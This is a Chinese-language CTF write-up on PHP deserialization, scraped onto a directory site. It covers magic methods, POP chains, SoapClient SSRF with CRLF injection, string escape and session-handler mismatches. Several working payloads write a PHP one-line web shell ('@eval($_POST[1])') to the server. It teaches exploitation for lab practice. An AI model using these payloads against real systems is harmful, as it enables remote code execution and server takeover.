亚洲视频二区_亚洲欧洲日本天天堂在线观看_日韩一区二区在线观看_中文字幕不卡一区

公告:魔扣目錄網(wǎng)為廣大站長(zhǎng)提供免費(fèi)收錄網(wǎng)站服務(wù),提交前請(qǐng)做好本站友鏈:【 網(wǎng)站目錄:http://www.430618.com 】, 免友鏈快審服務(wù)(50元/站),

點(diǎn)擊這里在線咨詢客服
新站提交
  • 網(wǎng)站:51998
  • 待審:31
  • 小程序:12
  • 文章:1030137
  • 會(huì)員:747

0×00:前言

各種CTF比賽隨處可見反序列化的影子,讓我們來了解一下!

閱讀本文,需要了解php中類的基礎(chǔ)知識(shí)

0×01:正文

了解反序列化,必先了解其魔法函數(shù)

 1. __sleep() //在對(duì)象被序列化之前運(yùn)行
 2. __wakeup() //將在反序列化之后立即調(diào)用(當(dāng)反序列化時(shí)變量個(gè)數(shù)與實(shí)際不符是會(huì)繞過)
 3. __construct() //當(dāng)對(duì)象被創(chuàng)建時(shí),會(huì)觸發(fā)進(jìn)行初始化
 4. __destruct() //對(duì)象被銷毀時(shí)觸發(fā)
 5. __toString()://當(dāng)一個(gè)對(duì)象被當(dāng)作字符串使用時(shí)觸發(fā)
 6. __call() //在對(duì)象上下文中調(diào)用不可訪問的方法時(shí)觸發(fā)
 7. __callStatic() //在靜態(tài)上下文中調(diào)用不可訪問的方法時(shí)觸發(fā)
 8. __get() //獲得一個(gè)類的成員變量時(shí)調(diào)用,用于從不可訪問的屬性讀取數(shù)據(jù)
 9. __set() //用于將數(shù)據(jù)寫入不可訪問的屬性
 10. __isset() //在不可訪問的屬性上調(diào)用isset()或empty()觸發(fā)
 11. __unset() //在不可訪問的屬性上使用unset()時(shí)觸發(fā)
 12. __toString() //把類當(dāng)作字符串使用時(shí)觸發(fā)
 13. __invoke() //當(dāng)腳本嘗試將對(duì)象調(diào)用為函數(shù)時(shí)觸發(fā)

然后了解其屬性

序列化對(duì)象:
private變量會(huì)被序列化為:x00類名x00變量名
protected變量會(huì)被序列化為: x00*x00變量名
public變量會(huì)被序列化為:變量名

讓我們跟隨CTF題目,來感受反序列化獨(dú)有的的"魅力"

01

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
  public $username='xxxxxx';
  public $password='xxxxxx';
  public $isVip=false;
  public function checkVip(){
    return $this->isVip;
 }
  public function login($u,$p){
return $this->username===$u&&$this->password===$p;
 }
  public function vipOneKeyGetFlag(){
    if($this->isVip){
      global $flag;
      echo "your flag is ".$flag;
   }else{
      echo "no vip, no flag";
   }
 }
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
  $user = unserialize($_COOKIE['user']);  
  if($user->login($username,$password)){
    if($user->checkVip()){
      $user->vipOneKeyGetFlag();
   }
 }else{
    echo "no vip,no flag";
 }
}

通讀代碼

$username&&$password存在進(jìn)入反序列化 $_COOKIE['user']

(cookie為可控字段)

隨后便調(diào)用了login方法

 public function login($u,$p){
         return $this->username===$u&&$this->password===$p;

只有類中$username和$password等于我們傳入的值 ,即可返回true

進(jìn)入第二個(gè)if 調(diào)用了checkVip方法

 public function checkVip(){
         return $this->isVip;
      }

這里定義類中isVip屬性為true即可

便調(diào)用了其vipOneKeyGetFlag方法 echo除了flag

思路來了,構(gòu)造payload

 <?
 class ctfShowUser{
        public $isVip=true;
        public $username='a';
        public $password='a';
 }
 $o=new ctfShowUser();
 echo serialize($o);
 ?>

?username=a&passowrd=a

cookie便傳值我們構(gòu)造出的payload

02

class ctfShowUser{
  private $username='xxxxxx';
  private $password='xxxxxx';
  private $isVip=false;
  private $class = 'info';
  public function __construct(){
    $this->class=new info();
 }
  public function login($u,$p){
    return $this->username===$u&&$this->password===$p;
 }
  public function __destruct(){
    $this->class->getInfo();
 }
}
class info{
  private $user='xxxxxx';
  public function getInfo(){
    return $this->user;
 }
}
class backDoor{
  private $code;
  public function getInfo(){
    eval($this->code);
 }
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
  $user = unserialize($_COOKIE['user']);
  $user->login($username,$password);
}

看到這么長(zhǎng)的代碼,我們可以簡(jiǎn)化一下

眾所周知反序列化找的就是魔法函數(shù)

class ctfShowUser{
  private $username='xxxxxx';
  private $password='xxxxxx';
  private $isVip=false;
  private $class = 'info';
  public function __destruct(){
    $this->class->getInfo();
 }
}
class backDoor{
  private $code;
  public function getInfo(){
    eval($this->code);
 }
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
  $user = unserialize($_COOKIE['user']);
  $user->login($username,$password);
}

思路

$username和$password存在進(jìn)入反序列化

backDoor類里邊有eval危險(xiǎn)函數(shù),我們要將其利用

看到__destruct函數(shù),當(dāng)類反序列化結(jié)束銷毀時(shí)會(huì)將其調(diào)用

   public function __destruct(){
         $this->class->getInfo();
      }

看到里邊正好有g(shù)etInfo()函數(shù)

我們只需要將$this->class=new backDoor()就可以調(diào)用backDoor類中的getInfo()函數(shù) 進(jìn)行eval利用

故構(gòu)造payload

<?
class ctfShowUser{
  private $class;
  public function __construct(){
    $this->class=new backDoor();
 }
}
class backDoor{
  private $code;
  public function __construct(){
  $this->code='file_put_contents("./shell.php","<?php @eval($_POST[1]);?
>");echo "[++++++++++++++++++++YES+++++++++++++++++++++++]";';
 }
}
$o=new ctfShowUser();
echo urlencode(serialize($o));
?>

?username=xxx&password=xxx

cookie:user=傳我們構(gòu)造的payload即可寫入一句話木馬

03 原生類利用

<?php
highlight_file(__FILE__);
$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();
////////////////////////////////////////////
//flag.php
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);
if($ip!=='127.0.0.1'){
die('error');
}else{
$token = $_POST['token'];
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag);
}
}

訪問flag.php需要

X_FORWARDED_FOR===127.0.0.1,127.0.0.1

由于用了CF代理不能構(gòu)造X_FORWARDED_FOR

故只能用SoapClient原生類來進(jìn)行SSRF請(qǐng)求

那什么叫SoapClient類呢?

SoapClient采用了HTTP作為底層通訊協(xié)議,XML作為數(shù)據(jù)傳送的格式,其采用了SOAP協(xié)議(SOAP 是一種簡(jiǎn)單的基于XML的協(xié)議,它使應(yīng)用程序通過HTTP來交換信息)來觸發(fā)__call方法,再利用一個(gè)CRLF注入進(jìn)行post傳輸構(gòu)造SSRF請(qǐng)求

那什么叫CRLF注入呢?

貼上大佬鏈接CRLF

故構(gòu)造payload

 <?php
 $payload= array(
            'user_agent' => "Flowers_BeiChengrnx-forwarded-
 for:127.0.0.1,127.0.0.1rnContent-type:Application/x-www-form-
 urlencodedrnContent-length:13rnrntoken=ctfshow",
            'uri' => 'Flowers_BeiCheng',
            'location' => 'http://127.0.0.1/flag.php'
         )
 $a = new SoapClient(null,$payload);
 $o = serialize($a);
 echo urlencode($o);

04

class ctfshowvip{
  public $username;
  public $password;
  public $code;
public function __wakeup(){
  if($this->username!='' || $this->password!=''){
    die('error');
 }
}
public function __invoke(){
  eval($this->code);
}
public function __sleep(){
  $this->username='';
  $this->password='';
}
public function __unserialize($data){
  $this->username=$data['username'];
  $this->password=$data['password'];
  $this->code = $this->username.$this->password;
}
public function __destruct(){
  if($this->code==0x36d){
    file_put_contents($this->username, $this->password);
 }
}
}
unserialize($_GET['vip']);

__unserialize和__wake同時(shí)存在,則__unserialize生效 __wake失效

通讀代碼

直接利用__destruct中file_put_contents

但想要利用file_put_contents需要$this->code==0x36d(這里考察弱類型比較)

$this->code和0x36d會(huì)轉(zhuǎn)換為數(shù)字進(jìn)行比較 0x36d==877

故構(gòu)造payload

<?php
class ctfshowvip{
  public $username;
  public $password;
  public function __construct(){
    $this->username='877.php';
    $this->password='<?php @eval($_POST[1]);?>';
 }
}
$o = new ctfshowvip();
echo urlencode(serialize($o));
?>

05 字符串逃逸

error_reporting(0);
class message{
  public $from;
  public $msg;
  public $to;
  public $token='user';
  public function __construct($f,$m,$t){
    $this->from = $f;
    $this->msg = $m;
    $this->to = $t;
 }
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){
  $msg = new message($f,$m,$t);
  $umsg = str_replace('fuck', 'loveU', serialize($msg));
  setcookie('msg',base64_encode($umsg));
  echo 'Your message has been sent';
}
highlight_file(__FILE__);

根據(jù)提示還有個(gè)message.php

highlight_file(__FILE__);
include('flag.php');
class message{
  public $from;
  public $msg;
  public $to;
  public $token='user';
  public function __construct($f,$m,$t){
    $this->from = $f;
    $this->msg = $m;
 $this->to = $t;
 }
}
if(isset($_COOKIE['msg'])){
  $msg = unserialize(base64_decode($_COOKIE['msg']));
  if($msg->token=='admin'){
    echo $flag;
 }
}

觸發(fā)點(diǎn)在message.php

我們要讓$msg->token=='admin',

class message{
  public $from;
  public $msg;
  public $to;
  public $token='user';
  public function __construct($f,$m,$t){
    $this->from = $f;
    $this->msg = $m;
    $this->to = $t;
 }
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

可以看到控制不了$token 可以控制$from $msg $to

傳一個(gè)正常反序列化內(nèi)容

O:7:"message":4:
 {s:4:"from";s:1:"1";s:3:"msg";s:1:"1";s:2:"to";s:1:"1";s:5:"token";s:4:"user";}

我們需要構(gòu)造這樣的反序列化內(nèi)容

 O:7:"message":4:
 {s:4:"from";s:1:"1";s:3:"msg";s:1:"1";s:2:"to";s:1:"1";s:5:"token";s:5:"admin";}

這時(shí)候就要傳入

 ";s:5:"token";s:5:"admin";} //27個(gè)字符

傳入的內(nèi)容需要逃逸出來

 if(isset($f) && isset($m) && isset($t)){
     $msg = new message($f,$m,$t);
     $umsg = str_replace('fuck', 'loveU', serialize($msg));
     setcookie('msg',base64_encode($umsg));
     echo 'Your message has been sent';
 }

fuck變成loveU 四個(gè)字符變成五個(gè)字符

每次變多一個(gè),一共需要27個(gè)字符

構(gòu)造payload

f=1&m=1&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfu
 ckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

06 session反序列化

反序列化處理器

| 處理器           | 對(duì)應(yīng)的存儲(chǔ)格式                    
   |
| ------------------------- | :-------------------------------------------------
---------- |
| php            | 鍵名+豎線+經(jīng)過serialize()函數(shù)反序列化處理的值     
   |
| php_binary         | 鍵名的長(zhǎng)度對(duì)應(yīng)的ASCII字符+鍵名+經(jīng)過serialize()函數(shù)反序列
化處理的值 |
| php_serialize(php>=5.5.4) | 經(jīng)過serialize()函數(shù)反序列化處理的數(shù)組         
   |
#### 安全問題
如果PHP在反序列化存儲(chǔ)的$_SESSION數(shù)據(jù)時(shí)的使用的處理器和序列化時(shí)使用的處理器不同,會(huì)導(dǎo)致數(shù)據(jù)無法
正確反序列化,通過特殊的構(gòu)造,甚至可以偽造任意數(shù)據(jù)
session.auto_start=On
當(dāng)配置選項(xiàng)session.auto_start=On,會(huì)自動(dòng)注冊(cè)Session會(huì)話,因?yàn)樵撨^程是發(fā)生在腳本代碼執(zhí)行前,所
以在腳本中設(shè)定的包括序列化處理器在內(nèi)的session相關(guān)配選項(xiàng)的設(shè)置是不起作用的,因此一些需要在腳本中
設(shè)置序列化處理器配置的程序會(huì)在session.auto_start=On時(shí),銷毀自動(dòng)生成的Session會(huì)話,然后設(shè)置
需要的序列化處理器,在調(diào)用session_start()函數(shù)注冊(cè)會(huì)話,這時(shí)如果腳本中設(shè)置的序列化處理器與
php.ini中設(shè)置的不同,就會(huì)出現(xiàn)安全問題

訪問/www.zip下載源碼

通讀代碼

index.php

反序列化的那些事兒

 

17行,$_SESSION['limit']首先是為空 通過后面的$_COOKIE['limit']便可以控制$_SESSION['limit']

如果無法控制,利用
PHP_SESSION_UPLOAD_PROGRESS來控制session內(nèi)容

查看check.php

發(fā)現(xiàn)包含了inc/inc.php

反序列化的那些事兒

 

跟進(jìn)inc/inc.php

反序列化的那些事兒

 

默認(rèn)配置為php進(jìn)行反序列化的

那php反序列化什么樣的呢?

鍵名+豎線+經(jīng)過serialize()函數(shù)反序列化處理的值

只有 | 后面的內(nèi)容才會(huì)被反序列化

漏洞關(guān)鍵位置

反序列化的那些事兒

 

發(fā)現(xiàn)了User類里的__destruct()魔法函數(shù)可以進(jìn)行file_put_contents函數(shù)進(jìn)行g(shù)etshell

思路

  • 前提:由于php.ini默認(rèn)配置為php_serialize
  • 利用index.php控制SESSION文件寫入SESSION為序列化后的內(nèi)容
  • 再利用check.php觸發(fā)反序列化(觸發(fā)|后面序列化后的內(nèi)容)

故構(gòu)造payload

 class User{
     public $username;
     public $password;
     function __construct($username,$password){
         $this->username = $username;
         $this->password = $password;
 }
 }
 $o=new User('huahua.php','<?php @eval($_POST[1]);phpinfo();?>');
 echo base64_encode('|'.serialize($o));

訪問index.php改cookie limit為payload 再次訪問寫入

訪問check.php觸發(fā)

最后訪問log-huahua.php

成功寫入

反序列化的那些事兒

 

0×02:總結(jié)

介紹了這么多,相信大家已經(jīng)對(duì)反序列化有了初步的了解

要學(xué)會(huì)嘗試構(gòu)造POP鏈復(fù)現(xiàn)TP Yii等框架的鏈子哦

分享到:
標(biāo)簽:序列化
用戶無頭像

網(wǎng)友整理

注冊(cè)時(shí)間:

網(wǎng)站:5 個(gè)   小程序:0 個(gè)  文章:12 篇

  • 51998

    網(wǎng)站

  • 12

    小程序

  • 1030137

    文章

  • 747

    會(huì)員

趕快注冊(cè)賬號(hào),推廣您的網(wǎng)站吧!
最新入駐小程序

數(shù)獨(dú)大挑戰(zhàn)2018-06-03

數(shù)獨(dú)一種數(shù)學(xué)游戲,玩家需要根據(jù)9

答題星2018-06-03

您可以通過答題星輕松地創(chuàng)建試卷

全階人生考試2018-06-03

各種考試題,題庫,初中,高中,大學(xué)四六

運(yùn)動(dòng)步數(shù)有氧達(dá)人2018-06-03

記錄運(yùn)動(dòng)步數(shù),積累氧氣值。還可偷

每日養(yǎng)生app2018-06-03

每日養(yǎng)生,天天健康

體育訓(xùn)練成績(jī)?cè)u(píng)定2018-06-03

通用課目體育訓(xùn)練成績(jī)?cè)u(píng)定